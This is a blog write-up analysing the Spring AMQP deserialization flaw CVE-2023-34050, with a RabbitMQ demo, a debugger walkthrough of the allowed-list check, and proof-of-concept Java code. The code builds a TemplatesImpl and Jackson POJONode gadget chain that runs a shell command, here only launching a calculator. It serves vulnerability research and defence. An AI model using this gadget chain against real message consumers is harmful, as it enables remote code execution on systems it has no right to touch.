CVE-2023-34050 Spring AMQP Deserialization Remote Code Execution

Preface

After analyzing Spring Kafka deserialization vulnerability, I received another piece of threat intellegence information. According to VMware official security bulletin, it implies that this vulnerability poses a serious threat to Spring AMQP component with particular incorrect configurations.

Admittedly, the Java Message Services (JMS) are exposed to evolutive deserialization vulnerabilities again. Actually, in the Black Hat US 2016, @Matthias Kaiser had talked about the deserialization vulnerabilities in Java Message Service.

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

It has been a long time since the talk occured. The deserialization vulnerability is still alive among JMS components, and thus I even second-guess vulnerability descriptions in newsletters. That was the reason why I wrote another blog Java Deserialization Vulnerability is Still Alive after diving into the source code. You could read the blogs I had posted previously.

Now I would like to talk about the newest one and figure out what contributes to the vulnerability.

In accordance with the official security descriptions, a few crucial clues could be summarized, like SimpleMessageConver or SerializerMessageConverter is used, allowedList is not configured.

upload successful

Looking through the basic concepts would make you aware how the RabbitMQ server works.

upload successful

The producers generate messages, like JSON formated, and send them to the RabbitMQ server. Two fundamental portions exchange and queue consist of RabbitMQ server. The exchanges play a role of router, because they transfer the messages to the specified queues exactly. Then the message in queuesawait consumptions from consumer side.

Preparation

  • Install RabbitMQ Server with docker
1
docker run --name rabbitmq -d -p 15672:15672 -p 5672:5672 rabbitmq:management
  • Add related dependencies

    You also could use the parent repository and thus the related dependencies would be loaded automatically.

1
2
3
4
5
6
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.12</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
  • Update configuration

    Both the configuration of producer and consumer have been updated.

upload successful

  • Simple Demonstration
  1. Producer
1
2
3
4
5
6
7
8
9
10
11
12
13
public class ProducerSimpleApplication {

@Autowired
RabbitTemplate rabbitTemplate;

@Test
public void sendEmail() throws Exception {

String message = "hello, pyn3rd!";

rabbitTemplate.convertAndSend(RabbitmaqConfig.EXCHANGE_TOPICS_INFORM, "inform.email", message);
}
}
  1. Consumer

According to the information of VMware security bulletin. @RabbitListener should be used. The concise code fragment like this.

1
2
3
4
5
6
7
8
9
@Component
public class ReceiveHandler {
@RabbitListener(queues = {RabbitmaqConfig.QUEUE_INFORM_EMAIL})

public void send_email(String message){

System.out.println("receive message: " + message);
}
}

Log in Rabbit Server web console, you would verify whether the message has been written into the queue.

upload successful

At consumer server side, the message would be received on producer server starting.

upload successful

PoC Construction

  • Remove this line in BaseJsonNode.javain order to provoke JSON message deserialization withJSON1 gadget successfully.
1
Object writeReplace() {return NodeSerialization.from(this);}
  • Leverage Javasist Tool to replace the byte codes in Java class and modify the attributes of the class.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    TemplatesImpl templatesImpl = new TemplatesImpl();
    ClassPool pool = ClassPool.getDefault();
    CtClass cc = pool.makeClass("com.demo.EvilTemplatesImpl");
    CtClass clazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
    cc.setSuperclass(clazz);
    String cmd = "open -a calculator";
    CtConstructor constructor = CtNewConstructor.make("public exec(){Runtime.getRuntime().exec(\""+ cmd +"\");}", cc);
    cc.addConstructor(constructor);
    setFieldValue(templatesImpl, "_name", "foo");
    setFieldValue(templatesImpl, "_bytecodes", new byte[][]{cc.toBytecode()});
    setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
  • Utilize Dynamic Proxy Class to make sure the JSON1 could be triggered steadily.

1
2
3
4
5
6
7
8
9
10
11
12
Class<?> cls = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = cls.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler invocationHandler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObject = Proxy.newProxyInstance(cls.getClassLoader(), new Class[]{Templates.class}, invocationHandler);
POJONode jsonNodes = new POJONode(proxyObject);
BadAttributeValueExpException message = new BadAttributeValueExpException(null);
Field field = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
field.setAccessible(true);
field.set(message,jsonNodes);
  • Ensure the deserialized data stream has been stored in the queue of RabbitMQ server.

upload successful

  • Get the Consumer started with listening to the new messages from Java message sercive. You would see what you look forward to.

upload successful

Code Analysis

  • Set up a breakpoint at fromMessage function of SimpleMessageConverter class in consumer side

upload successful

Step into deserialize function.

upload successful

ObjectInputStream function is overwritten, and thus it flows into resolveClass function the next step.

upload successful

Step into the checkAllowedList function to figure out the checking logic. Source codes tell us trustworthy java classes could be added to the white list.

upload successful

Due to the vulnerability description, I did not configure any patterns in allowed list.

upload successful

upload successful

Next flow is to use the specified ClassLoader to resolve local classes

upload successful

upload successful

upload successful

After basically checking a series of java classes included in JSON1 gadget, the malicious object would be deserialized. The toString function provoked in Jackson library leads to the remote code execution.

upload successful

upload successful